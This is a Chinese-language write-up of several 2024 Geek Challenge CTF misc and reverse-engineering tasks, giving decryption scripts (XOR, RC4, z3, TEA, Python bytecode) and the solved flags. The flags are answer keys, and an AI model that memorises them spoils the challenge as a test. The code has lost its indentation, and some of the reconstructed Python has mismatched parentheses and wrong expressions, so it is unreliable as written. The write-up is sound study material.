MISC

2024 极客挑战赛!

  • 关注微信号即可得flag

image-20241030091931593

  • flag:
1
SYC{weLc0mE-tO-2_o_2_100-GeeK@cha11Enge!!}

ez_climbstairs

  • 动态规划基础题,爬楼梯。现场学了一下,还要使用pwntools进行交互。
  • 一开始以为题目默认只能垮1、2个楼梯,结果发现是一次能垮1、2、3个楼梯

  • 直接贴exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import sys
sys.set_int_max_str_digits(10000)
from pwn import *
context(log_level='debug')
p = remote("nc1.ctfplus.cn",22718)

def dp(jie):
b1 = 1
b2 = 2
b3 = 4
result = 0
for i in range(jie - 3):
result = b1 + b2 + b3
b1 = b2
b2 = b3
b3 = result
return result



a = p.recv().decode('utf-8')[11:]
if len(a)==9:
a = a[:4]
print(a)
elif len(a) == 10:
a = a[:5]
print(a)
jie = int(a)
print(jie)
result = dp(jie)
p.sendline(str(result).encode('utf-8'))
for i in range(99):
p.recvline()
a = p.recv().decode('utf-8')[11:]
if len(a) == 9:
a = a[:4]
print(a)
elif len(a) == 10:
a = a[:5]
print(a)
jie = int(a)
print(jie)
result = dp(jie)
p.sendline(str(result).encode('utf-8'))
p.interactive()
p.close()
  • flag:
1
SYC{7745e931-0e83-4889-b78f-daa57df1d02a}

ez_pcap_1

  • 主要考简单的流量分析,然后了解文件传输使用的有哪些协议,就很好找到flag
  • 最后在SMB2协议中找到flag

202410300927

  • flag:
1
SYC{smb_pcapng_1s_g00d!}

RE

hello_re

  • 打开附件直接查看,发现加密逻辑全部都在这里,数组v7是加密后的密文,v5则是key而key的值为SYCLOVER

image-20241115193054988

  • 加密逻辑如下,按照int类型放入v4数组中,然后再进行取余操作和异或操作进行加密,

image-20241115193219858

  • 然后就直接开始写脚本解密
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def decrypt(encrypted_data):
# 密钥 "REVO LCYS" (64-bit value)
key = 0x5245564F4C435953
key_bytes = key.to_bytes(8, byteorder='little') # 64位整数转换成字节

decrypted_data = bytearray(32) # 用于存放解密后的数据

# 逐字节逆向解密
for j in range(32):
# 从 encrypted_data 中获取加密后的数据
encrypted_byte = encrypted_data[j]

# 进行两次异或操作的逆向
decrypted_byte = encrypted_byte ^ j ^ key_bytes[j % 8]

# 存储解密结果
decrypted_data[j] = decrypted_byte

return decrypted_data.decode('utf-8')

# 示例加密后的数据(这个数据你应该从程序运行中获取)
encrypted_data = [
0, 1, 2, 52, 3, 96, 47, 28,
107, 15, 9, 24, 45, 62, 60, 2,
17, 123, 39, 58, 41, 48, 96, 26,
8, 52, 63, 100, 33, 106, 122, 48
]

# 调用解密函数
decrypted_flag = decrypt(encrypted_data)
print("解密后的结果:", decrypted_flag)

先来一道签到题

  • 这题附件给的是一个.s文件的汇编代码
  • 这个位置存储的是加密后的字符串

image-20241115193720518

  • 通过scanf函数让用户输出flag字符串,输入的字符串数据存储在栈上

image-20241115193835651

  • 通过查看这边发现L4这边是flag判断为错的时候将要输出的内容

image-20241115194051995

image-20241115194104467

  • 所以主要加密逻辑在L3上,L2后半部分是判断明文输入进去后是否和密文相同

image-20241115194141150

  • 解密代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def decrypt(data):
length = len(data) // 2
for i in range(length):
index = i * 2
data[index] ^= 7
if index + 1 < len(data):
data[index + 1] += 5
return data


def string_to_bytearray(s):
return bytearray(s, 'utf-8')


def main():
# 加密后的密文
encrypted_data = "TTDv^jrZu`Gg6tXfi+pZojpZSjXmbqbmt.&x"

# 将密文转换为字节数据
byte_data = string_to_bytearray(encrypted_data)

# 解密数据
decrypted_data = decrypt(byte_data)

# 打印解密后的数据
print("Decrypted data:", decrypted_data.decode('utf-8', errors='ignore'))


if __name__ == "__main__":
main()

让我康康你的调试

  • 使用IDA打开发现是ELF文件,结合题目需要在Linux下进行远程调试

  • 现在逐个分析,先分析main函数,发现加密后的密文就是S2数组里面的内容,而这里注意syclover是一个密钥

image-20241103012458346

  • 然后查看sub_14A6这个函数,发现进行了加密

image-20241103012600525

  • 再查看sub_11C9这个函数,发现是对密钥进行了操作,这题根据题目所说,动态调试是看执行完sub_11C9这个函数v9的内存值,这题算法其实也可以直接用AI跑,也可以自己慢慢逆

image-20241103013600791

  • 这边为了提高逆算法的能力,我采取逆算法的方式解密,所以得到解密sub_11C9这个函数得到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
v9 = []
key = 'syclover'
v8 = []
for i in range(256):
v9.append(i)
v8.append(ord(key[i%8]))
print(v9)
print(v8)

v7 = 0
for j in range(256):
v7 = (v8[j] + v7 + v9[j])%256
v4 = v9[j]&0xFF
v9[j] = v9[v7]
v9[v7] = v4
print(v9)
[49, 80, 82, 193, 205, 167, 7, 57, 61, 4, 253, 196, 42, 114, 223, 96, 227, 189, 226, 97, 228, 99, 234, 255, 254, 9, 249, 195, 206, 158, 37, 106, 76, 220, 19, 240, 131, 59, 36, 219, 221, 127, 239, 140, 62, 225, 38, 111, 146, 6, 247, 150, 208, 180, 231, 248, 95, 120, 242, 170, 68, 50, 54, 90, 236, 166, 123, 8, 192, 46, 155, 132, 85, 156, 174, 101, 10, 16, 83, 136, 73, 70, 171, 12, 31, 89, 126, 229, 179, 246, 72, 26, 209, 164, 103, 107, 186, 135, 115, 75, 162, 207, 29, 24, 212, 187, 44, 112, 147, 172, 15, 122, 81, 181, 33, 133, 69, 2, 28, 159, 129, 92, 74, 149, 27, 22, 210, 199, 224, 218, 88, 169, 30, 215, 194, 105, 113, 214, 45, 117, 188, 102, 250, 48, 173, 153, 139, 119, 65, 151, 34, 184, 178, 211, 71, 198, 121, 20, 11, 244, 63, 17, 43, 222, 238, 243, 245, 175, 165, 134, 145, 190, 142, 143, 232, 230, 177, 78, 55, 213, 252, 77, 94, 66, 202, 53, 200, 110, 163, 137, 21, 109, 3, 138, 141, 216, 118, 203, 197, 241, 108, 185, 23, 100, 104, 233, 86, 41, 144, 237, 116, 13, 235, 176, 161, 148, 128, 201, 124, 183, 40, 5, 91, 35, 157, 160, 39, 152, 67, 125, 191, 79, 18, 52, 168, 217, 87, 51, 154, 1, 84, 47, 60, 98, 56, 251, 130, 14, 58, 25, 93, 182, 64, 32, 204, 0]

  • 然后继续解密sub_14A6这个函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
s2_1 = '0xA67A02C9047D5B94'
s2_2 = '0x7EF9680DBC980739'
s2_3 = '0x7104F81698BFBD08'
s2_4 = '0x61DB8498B686155F'
c = []
for i in range(len(s2_1)//2-1):
c.append(int(s2_1[-2-2*i:len(s2_1)-2*i],16))

for i in range(len(s2_1)//2-1):
c.append(int(s2_2[-2-2*i:len(s2_1)-2*i],16))

for i in range(len(s2_1)//2-1):
c.append(int(s2_3[-2-2*i:len(s2_1)-2*i],16))

for i in range(len(s2_1)//2-1):
c.append(int(s2_4[-2-2*i:len(s2_1)-2*i],16))

print(c)
print(len(c))
v6 = 0
v7 = 0
v5 = 0
for i in range(32):
v6 = (v6 + 1) %256
v7 = (v7 + v9[v6])%256
v5 = v9[v6]&0xFF
v9[v6] = v9[v7]&0xFF
v9[v7] = v5&0xFF
c[i] ^= v9[(v9[v6]+v9[v7])&0xFF]
print(c)

for i in range(len(c)):
c[i] ^= 0x14
print(chr(c[i]),end='')
# SYC{we1come_t0_Geek's_3asy_rc4!}

我勒个z3啊

  • 拿到题目运行一下,发现要先输入密钥,再输入flag

image-20241103104343881

  • 然后使用IDA进行反编译该文件,然后再看代码,发现了check_key函数以及后面check_key函数后面的函数都是检查flag的函数

image-20241103105117665

  • 查看一下check_key函数,发现是将指定字符串转化为特定字符,然后再与str2做比较

image-20241103105254411

image-20241103105352871

  • 所以可以写出解密代码,得到key后运行程序输入,结果为密钥正确
1
2
3
4
5
6
7
8
a = [0x2A, 0x0E, 0x0E, 0x14, 0x3F, 0x3F, 0x3F, 0x26, 0x11, 0x0A,
0x15, 0x15, 0x0E, 0x17, 0x10, 0x0E]
b = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ?_'
key = ''
for i in a:
key += b[i]
print(key)
# Geek___Challenge
  • 接下来输入flag,所以要查看加密flag相关的函数,发现sub_401AAC对flag做了加密,然后sub_40179A对flag做了判断

image-20241103105950605

  • 查看sub_401AAC函数就会发现还有一个函数对flag进行了操作

image-20241103110322497

  • 然后查看sub_4019EB

image-20241103110408824

  • 再来查看检查flag的这个函数sub_40179A,发现加密后的密文保存在dword_4040A0这边

image-20241103110439617

  • 所以我们要先用z3线性约束利用dword_4040A0里面的密文,求解出加密后的flag对应的值,直接使用shift+E提取该值

image-20241103111302127

  • 使用z3求解出flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from z3 import *
c =[411, 275, 393, 457, 592, 1334, 1246, 444, 1051, 1828, 1744, 1185, 1605, 1141, 1226, 1676, 997, 455, 829, 1463, 653, 580, 782, 657, 625, 769, 1119, 1135, 1303, 1054, 1062, 1205]
x1,x2,x3,x4 = Ints('x1 x2 x3 x4')
for i in range(len(c)//4):
solver = Solver()
solver.add(x1 + x2*8 + x3 *6 + x4 == c[0+i*4])
solver.add(x1 + x2 + x3 * 8 + x4 * 6 == c[1 + i * 4])
solver.add(x1*6 + x2 + x3 + x4*8 == c[2 + i * 4])
solver.add(x1*8 + x2 * 6 + x3 + x4 == c[3 + i * 4])
solver.check()
print(solver.model())
[x4 = 26, x3 = 7, x2 = 40, x1 = 23]
[x4 = 125, x3 = 69, x2 = 3, x1 = 29]
[x4 = 118, x3 = 125, x2 = 9, x1 = 111]
[x4 = 54, x3 = 74, x2 = 126, x1 = 99]
[x4 = 5, x3 = 28, x2 = 89, x1 = 112]
[x4 = 70, x3 = 9, x2 = 63, x1 = 25]
[x4 = 48, x3 = 43, x2 = 26, x1 = 111]
[x4 = 69, x3 = 60, x2 = 102, x1 = 58]

  • 接下来开始逆加密算法,在逆算法的过程中这个位置卡了很久,而且思维定势了,后来逐渐理解了该算法的过程之后就写出了对应的解密算法了,总之还是算法敲少了

image-20241104000735756

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from z3 import *
a = [0x2A, 0x0E, 0x0E, 0x14, 0x3F, 0x3F, 0x3F, 0x26, 0x11, 0x0A,0x15, 0x15, 0x0E, 0x17, 0x10, 0x0E]
b = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ?_'
key = ''
for i in a:
key += b[i]
print(key)

c =[411, 275, 393, 457, 592, 1334, 1246, 444, 1051, 1828, 1744, 1185, 1605, 1141, 1226, 1676, 997, 455, 829, 1463, 653, 580, 782, 657, 625,769,1119,1135,1303,1054,1062, 1205]
print(len(c))
x1,x2,x3,x4 = Ints('x1 x2 x3 x4')
print(len(c))
for i in range(len(c)//4):
solver = Solver()
solver.add(x1 + x2*8 + x3 *6 + x4 == c[0+i*4])
solver.add(x1 + x2 + x3 * 8 + x4 * 6 == c[1 + i * 4])
solver.add(x1*6 + x2 + x3 + x4*8 == c[2 + i * 4])
solver.add(x1*8 + x2 * 6 + x3 + x4 == c[3 + i * 4])
solver.check()
a = solver.model()
print(a)
flag = [23,40,7,26,29,3,69,125,111,9,125,118,99,126,74,54,112,89,28,5,25,63,9,70,111,26,43,48,58,102,60,69]
#flag = [26,7,40,23,125,69,3,29,118,125,9,111,54,74,126,99,5,28,89,112,70,9,63,25,48,43,26,111,69,60,102,58]
key = 'Geek___Challenge'

v2 = len(flag)
print(v2)
result = len(flag)

for i in range(31,-1,-1):
flag[i] ^= ord(key[(47 - i) % 16])
flag[i] ^= flag[(v2 + i - 1) % v2]
flag[i] ^= i

for i in range(8):
for j in range(i):
v2 = flag[4 * i + 3]
for k in range(2,-1,-1):
flag[4 * i + k + 1] = flag[4 * i + k]
flag[4*i] = v2

print()
for i in range(len(flag)):
print(chr(flag[i]),end='')
# SYC{Wow!!_Y0u_4r3_9o0d_At_r3$!!}

ezzzz

  • 下载附件,看到是一个安卓逆向,直接使用jadx反编译该代码
  • 我们会发现在主类这边调用了Enc对象中的encrypt方法,该方法传入字符串为参数(该字符串就是我们输入的字符串),加密后的数据会与R对象中的子对象String,与target这个int值对应的资源ID的字符串进行对比,如果对比成功则"Wow!You are right!!!"

image-20241104002449721

  • 接下来我查看一下这个资源ID对应的字符串,这个资源ID对应的字符串在res/values/strings.xml里面,这里直接搜索target即可找到,但是找到的是这么一长串数字,应该是被hash加密或者是被编码过了,所以这时我们只能从对应的加密那边入手(这里我还并不知道该字符串就是明文加密后要对比的字符串,还是该字符串经过了加密处理)

image-20241104003558988

1
2
<string name="target">f1f186b25a96c782e6c63a0b70b61b5ced6bf84889700d6b09381b5ccb2f24fab1c79e796d822d9cdcc55f760f780e750d65c4afb89084a9e978c3827a8dd81091f28df3a84dbacab4d75f75f19af8e5b90f80fcfc10a5c3d20679fb2bc734c8ccb31c921ac52ad3e7f922b72e24d923fb4ce9f53548a9e571ebc25adf38862e10059186327509463dd4d54c905abc36c26d5312d2cd42c0772d99e50cd4c4665c3178d63a7ffe71ada251c070568d5a5798c2921ec0f7fc3ae9d8418460762930ca6a2dccef51d2a1a8085491b0f82d686ca34774c52d0f0f26449fc28d362c86f3311b8adc4fb1a4497e34e0f0915d</string>

  • 接下来逆向加密的那个对象,了解一下加密过程,然后再编写解密脚本

  • 首先分析主类调用的这个方法,这里也要注意一下上方的DELTA,综合特征显示应该是个TEA加密

    • 先将输入的明文转为逐个字符转为整型,并存储在整型数组iArr里面
    • 在将字符串GEEK转化为整型,存如数组iArr2里面
    • 然后定义整型数组iArr3,该整型数组每次取俩个iArr里面的元素,并且调用encrypt方法传入iArr3iArr2进行加密,然后更新iArr数组里面的值
    • 之后new一个StringBuilder对象,将加密后的整型数组iArr以16进制转化为字符串的形式拼接后输出,然后并返回该拼接后的字符串,之后就与target里面的字符串做对比(这时我更偏向于认为target字符串是加密后的十六进制字符串,而不是字符串对应的hash值)
    • 这里还要注意,这个方法就是将数组对应的整型转换为16进制,但是会有填充到8个字符,例如:255输出会变成000000ff。所以俩个字符追加上去就会变成00000098000001c7,所以得到的字符是8个字符转换为一个数组元素
1
sb.append(String.format("%08x",Integer.valueOf(iArr[i5])))

image-20241104004307519

  • 然后再来查看encrypt这个方法,很典型的一个茶加密

image-20241104005812935

  • 直接开逆,这里密钥应该就是GEEK这个字符串,加密过程中还有使用int DELTA = -1640531527
  • 由于java是强类型语言,与C语言一样都是强类型语言,而Python是弱类型语言,在使用Python编写脚本的过程中会出现问题,所以这种加密我使用C语言写解密脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>
void Tea_decrpy(int* a,int* key);
int main()
{
int key[4] = {71, 69, 69, 75};
int a[60] = {4059137714, 1519830914, 3871750667, 1890982748, 3983276104, 2305822059, 154671964, 3408864506, 2982649465, 1837247900, 3703922550, 259526261, 224773295, 3096478889, 3917005698, 2056116240, 2448592371, 2823666378, 3034013557, 4053465317, 3104801020, 4228949443, 3523639803, 734475464, 3434290322, 449129171, 3891864247, 774166819, 4216121845, 893954533, 1911276122, 3745023534, 268800390, 846530886, 1037358412, 2421865526, 3261944594, 3536667328, 1999477221, 215270502, 1546746070, 981466737, 2913096128, 1884720474, 1469629074, 515962876, 988403777, 2220914217, 818571821, 3438236114, 2712143956, 2444294189, 1751950151, 1959079183, 254166175, 3264034348, 2264084763, 2329694129, 2756279860, 3773862237};
for(int i=0; i<59; i+=2)
{
Tea_decrpy(&a[i],key);
}
for(int i=0;i<=59;i++)
printf("%d,",a[i]);
return 0;
}

void Tea_decrpy(int* a,int* key)
{
int i3 = (-1640531527)*32;
for (int i4=31;i4>=0;i4--)
{
a[1] -= ((((a[0]<<4)^(a[0]>>5))+a[0])^(key[(i3>>11)&3]+i3))^(i3+i4);
i3 += 1640531527;
a[0] -= ((((a[1]<<4)^(a[1]>>5)) + a[1]) ^ (key[i3&3]+i3))^(i3+i4);
}
}
//得到结果83,89,67,123,103,48,111,100,95,106,48,98,95,119,119,101,76,67,111,77,101,84,111,111,111,83,83,83,121,67,95,122,122,95,49,95,101,116,51,115,116,97,114,116,95,121,111,85,114,95,106,48,117,114,110,101,121,33,33,125
  • 然后Python转字符串
1
2
3
4
5
m =[83,89,67,123,103,48,111,100,95,106,48,98,95,119,119,101,76,67,111,77,101,84,111,111,111,83,83,83,121,67,95,122,122,95,49,95,101,116,51,115,116,97,114,116,95,121,111,85,114,95,106,48,117,114,110,101,121,33,33,125]
for i in m:
print(chr(i),end='')

# SYC{g0od_j0b_wweLCoMeToooSSSyC_zz_1_et3start_yoUr_j0urney!!}

好像是python?

  • 这里积累一下Python字节码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
LOAD_CONST
功能:将常量(如字符串、数字)加载到栈上。
示例:LOAD_CONST 0 ('Hello, World!')

LOAD_NAME
功能:加载一个变量(如全局变量或局部变量)到栈上。
示例:LOAD_NAME 0 (my_variable)

STORE_NAME
功能:将栈顶的值存储到指定的变量中。
示例:STORE_NAME 0 (my_variable)

LOAD_FAST
功能:加载局部变量到栈上。
示例:LOAD_FAST 0 (x)

STORE_FAST
功能:将栈顶的值存储到局部变量。
示例:STORE_FAST 0 (x)

CALL_FUNCTION
功能:调用一个函数,并将栈上的参数传递给它。
示例:CALL_FUNCTION 2(调用函数并传递两个参数)

RETURN_VALUE
功能:从函数中返回一个值。
示例:RETURN_VALUE

POP_TOP
功能:弹出栈顶的值,通常用于丢弃不再需要的值。
示例:POP_TOP

BINARY_ADD
功能:执行加法运算(通常是两个栈顶值相加)。
示例:BINARY_ADD

BINARY_MULTIPLY
功能:执行乘法运算。
示例:BINARY_MULTIPLY

BINARY_SUBTRACT
功能:执行减法运算。
示例:BINARY_SUBTRACT

BINARY_DIVIDE
功能:执行除法运算。
示例:BINARY_DIVIDE
注意:在执行除法和乘法运算中,栈顶作减数,次栈顶作被减数

BINARY_XOR
功能:执行按位异或运算。
示例:BINARY_XOR

BINARY_SUBSCR
指令用于执行从容器(如列表、元组、字典或字符串)中取出一个元素的操作。它的作用是根据索引(或键)从一个

COMPARE_OP
比较的右边是栈顶元素,比较的左边是栈底元素
功能:进行比较操作,如 ==, !=, <, >, <=, >=。
示例:COMPARE_OP 0 (==)

JUMP_ABSOLUTE
功能:无条件跳转到指定的字节码位置。
示例:JUMP_ABSOLUTE 10


JUMP_ABSOLUTE
功能:无条件跳转到指定的字节码位置。
示例:JUMP_ABSOLUTE 10

POP_JUMP_IF_FALSE
功能:如果栈顶值为假,则跳转到指定位置。
示例:POP_JUMP_IF_FALSE 20

FOR_ITER
功能:迭代一个可迭代对象,通常在 for 循环中使用。
示例:FOR_ITER 10 (to 20)
可用于for i in 这个语句
a = [1,2,3,4]
例如:for i in range
for i in a
等等这些语句

GET_ITER
功能:获取可迭代对象的迭代器。
示例:GET_ITER

BUILD_LIST
功能:创建一个新列表。
示例:BUILD_LIST 0

BUILD_DICT
功能:创建一个新字典。
示例:BUILD_DICT 0

LOAD_GLOBAL:加载全局变量。
STORE_GLOBAL:存储全局变量。
LOAD_ATTR:加载对象的属性。
STORE_ATTR:存储对象的属性。
LOAD_METHOD:加载方法。
CALL_METHOD:调用方法。

UNARY_INVERT
指令用于对栈顶的整数值进行按位取反(bitwise NOT)操作。具体来说,它会将栈顶的整数值 x 转换为 ~x,即将每一位的值取反。

DUP_TOP
DUP_TOP 指令用于复制栈顶的元素并将其压入栈中。具体来说,它的行为是将栈顶元素(即最后压入栈的元素)复制一份,并将这两个相同的元素留在栈上。

ROT_THREE
ROT_THREE 指令用于旋转栈顶的三个元素,使得原本在栈顶的三个元素的位置发生变化。具体而言,它将栈顶的三个元素的顺序改变,使得原栈顶的第三个元素变为新的栈顶。
Stack:
[a] # 栈顶元素
[b] # 次顶元素
[c] # 三顶元素

ROT_THREE后

Stack:
[b] # 新栈顶元素是 b
[c] # 次顶元素
[a] # 三顶元素
  • Python逆向,直接看Python字节码,直接给字节码而不是给pyc或者exe文件,反编译不了,但是可以AI一把梭,可是这样学不到什么,所以直接逆(最近在摆脱对AI的依赖)。使用010Editor打开,直接看字节码逆向

  • 第一部分内容如下:

image-20241104185341742

  • 大概意思就是:
1
2
3
flag = 'SYC{MD5(input)}'
print('Please input:')
input0 = ''
  • 接下来,要求用户输入,然后定义两个函数,testtest1

image-20241104190209875

  • 定义的test2和test函数在这边
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
Disassembly of <code object test2 at 0x00000245D4F44B30, file "program.py", line 6>:
7 0 LOAD_CONST 1 ('SYC')
2 STORE_FAST 1 (key)

8 4 LOAD_CONST 2 (18)
6 STORE_FAST 2 (length)

9 8 BUILD_LIST 0
10 STORE_FAST 3 (cipher)

10 12 LOAD_GLOBAL 0 (range)
14 LOAD_FAST 2 (length)
16 CALL_FUNCTION 1
18 GET_ITER
>> 20 FOR_ITER 48 (to 70)
22 STORE_FAST 4 (i)

11 24 LOAD_FAST 3 (cipher)
26 LOAD_METHOD 1 (append)
28 LOAD_GLOBAL 2 (ord)
30 LOAD_FAST 0 (s2)
32 LOAD_FAST 4 (i)
34 BINARY_SUBSCR
36 CALL_FUNCTION 1
38 LOAD_FAST 4 (i)
40 BINARY_XOR
42 LOAD_GLOBAL 2 (ord)
44 LOAD_FAST 1 (key)
46 LOAD_FAST 4 (i)
48 LOAD_CONST 3 (3)
50 BINARY_MODULO
52 BINARY_SUBSCR
54 CALL_FUNCTION 1
56 UNARY_INVERT
58 LOAD_CONST 4 (1)
60 BINARY_ADD
62 BINARY_ADD
64 CALL_METHOD 1
66 POP_TOP
68 JUMP_ABSOLUTE 20

12 >> 70 LOAD_FAST 3 (cipher)
72 RETURN_VALUE

Disassembly of <code object test at 0x00000245D4F44BE0, file "program.py", line 14>:
15 0 BUILD_LIST 0
2 STORE_FAST 2 (result)

16 4 LOAD_FAST 0 (s)
6 GET_ITER
>> 8 FOR_ITER 218 (to 228)
10 STORE_FAST 3 (i)

17 12 LOAD_CONST 1 ('A')
14 LOAD_FAST 3 (i)
16 DUP_TOP
18 ROT_THREE
20 COMPARE_OP 1 (<=)
22 POP_JUMP_IF_FALSE 32
24 LOAD_CONST 2 ('Z')
26 COMPARE_OP 1 (<=)
28 POP_JUMP_IF_FALSE 80
30 JUMP_FORWARD 4 (to 36)
>> 32 POP_TOP
34 JUMP_FORWARD 44 (to 80)

18 >> 36 LOAD_FAST 2 (result)
38 LOAD_METHOD 0 (append)
40 LOAD_GLOBAL 1 (chr)
42 LOAD_GLOBAL 2 (ord)
44 LOAD_FAST 3 (i)
46 CALL_FUNCTION 1
48 LOAD_GLOBAL 2 (ord)
50 LOAD_CONST 1 ('A')
52 CALL_FUNCTION 1
54 BINARY_SUBTRACT
56 LOAD_FAST 1 (R)
58 BINARY_ADD
60 LOAD_CONST 3 (26)
62 BINARY_MODULO
64 LOAD_GLOBAL 2 (ord)
66 LOAD_CONST 1 ('A')
68 CALL_FUNCTION 1
70 BINARY_ADD
72 CALL_FUNCTION 1
74 CALL_METHOD 1
76 POP_TOP
78 JUMP_ABSOLUTE 8

19 >> 80 LOAD_CONST 4 ('a')
82 LOAD_FAST 3 (i)
84 DUP_TOP
86 ROT_THREE
88 COMPARE_OP 1 (<=)
90 POP_JUMP_IF_FALSE 100
92 LOAD_CONST 5 ('z')
94 COMPARE_OP 1 (<=)
96 POP_JUMP_IF_FALSE 148
98 JUMP_FORWARD 4 (to 104)
>> 100 POP_TOP
102 JUMP_FORWARD 44 (to 148)

20 >> 104 LOAD_FAST 2 (result)
106 LOAD_METHOD 0 (append)
108 LOAD_GLOBAL 1 (chr)
110 LOAD_GLOBAL 2 (ord)
112 LOAD_FAST 3 (i)
114 CALL_FUNCTION 1
116 LOAD_GLOBAL 2 (ord)
118 LOAD_CONST 4 ('a')
120 CALL_FUNCTION 1
122 BINARY_SUBTRACT
124 LOAD_FAST 1 (R)
126 BINARY_ADD
128 LOAD_CONST 3 (26)
130 BINARY_MODULO
132 LOAD_GLOBAL 2 (ord)
134 LOAD_CONST 4 ('a')
136 CALL_FUNCTION 1
138 BINARY_ADD
140 CALL_FUNCTION 1
142 CALL_METHOD 1
144 POP_TOP
146 JUMP_ABSOLUTE 8

21 >> 148 LOAD_CONST 6 ('0')
150 LOAD_FAST 3 (i)
152 DUP_TOP
154 ROT_THREE
156 COMPARE_OP 1 (<=)
158 POP_JUMP_IF_FALSE 168
160 LOAD_CONST 7 ('9')
162 COMPARE_OP 1 (<=)
164 POP_JUMP_IF_FALSE 216
166 JUMP_FORWARD 4 (to 172)
>> 168 POP_TOP
170 JUMP_FORWARD 44 (to 216)

22 >> 172 LOAD_FAST 2 (result)
174 LOAD_METHOD 0 (append)
176 LOAD_GLOBAL 1 (chr)
178 LOAD_GLOBAL 2 (ord)
180 LOAD_FAST 3 (i)
182 CALL_FUNCTION 1
184 LOAD_GLOBAL 2 (ord)
186 LOAD_CONST 6 ('0')
188 CALL_FUNCTION 1
190 BINARY_SUBTRACT
192 LOAD_FAST 1 (R)
194 BINARY_ADD
196 LOAD_CONST 8 (10)
198 BINARY_MODULO
200 LOAD_GLOBAL 2 (ord)
202 LOAD_CONST 6 ('0')
204 CALL_FUNCTION 1
206 BINARY_ADD
208 CALL_FUNCTION 1
210 CALL_METHOD 1
212 POP_TOP
214 JUMP_ABSOLUTE 8

24 >> 216 LOAD_FAST 2 (result)
218 LOAD_METHOD 0 (append)
220 LOAD_FAST 3 (i)
222 CALL_METHOD 1
224 POP_TOP
226 JUMP_ABSOLUTE 8

25 >> 228 LOAD_CONST 9 ('')
230 LOAD_METHOD 3 (join)
232 LOAD_FAST 2 (result)
234 CALL_METHOD 1
236 RETURN_VALUE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

def test2(s2):
key = 'SYC'
length = 18
cipher = []
for i in range(length):
cipher.append( (ord(s2[i])^i)+((~ord(key[i % 3]+1)))

return cipher

def test(R,s):
result = []
for i in s:
if 'A' <= i:
if i <= 'Z':
result.append(chr((ord(i)-ord('A')+R)%26)+ord('A')))
if 'a' <= i:
if i <='z':
result.append(chr( ( (ord(i) - ord('a') + R ) %26 ) + ord('a')))
if '0' <= i:
if i <= '9':
result.append(chr( (ord(i)-ord('0')+R)%10+ord('0')))
else:
result.append(i)
return ''.join(result)
  • 然后接下来就是程序顺序执行的地方

image-20241104190420034

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
flag = 'SYC{MD5(input)}'
print('Please input:')
input0 = ''
a = 13
b = 14
c = (b+a) ^ a
d = b*100
e = a ^ b
m = d - 4*c + e - 1
r = m % 26
cipher1 = test(r,input0)
cipher2 = test2(cipher1)
num = [-1,-36,26,-5,14,41,6,-9,60,29,-28,17,21,7,35,38,26,48]
for i in range(18):
if cipher2[i] != num[i]:
print('wrong')
else:
print('Rrrright!')
  • 所以整个程序如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def test2(s2):
key = 'SYC'
length = 18
cipher = []
for i in range(length):
cipher.append( (ord(s2[i])^i)+((~ord(key[i % 3]+1)))

return cipher

def test(R,s):
result = []
for i in s:
if 'A' <= i:
if i <= 'Z':
result.append(chr((ord(i)-ord('A')+R)%26)+ord('A')))
if 'a' <= i:
if i <='z':
result.append(chr( ( (ord(i) - ord('a') + R ) %26 ) + ord('a')))
if '0' <= i:
if i <= '9':
result.append(chr( (ord(i)-ord('0')+R)%10+ord('0')))
else:
result.append(i)
return ''.join(result)
flag = 'SYC{MD5(input)}'
print('Please input:')
input0 = ''
a = 13
b = 14
c = (b+a) ^ a
d = b*100
e = a ^ b
m = d - 4*c + e - 1
r = m % 26
cipher1 = test(r,input0)
cipher2 = test2(cipher1)
num = [-1,-36,26,-5,14,41,6,-9,60,29,-28,17,21,7,35,38,26,48]
for i in range(18):
if cipher2[i] != num[i]:
print('wrong')
else:
print('Rrrright!')
  • 程序逻辑就是先经过凯撒加密后经过一个不知道什么加密的,然后得到密文

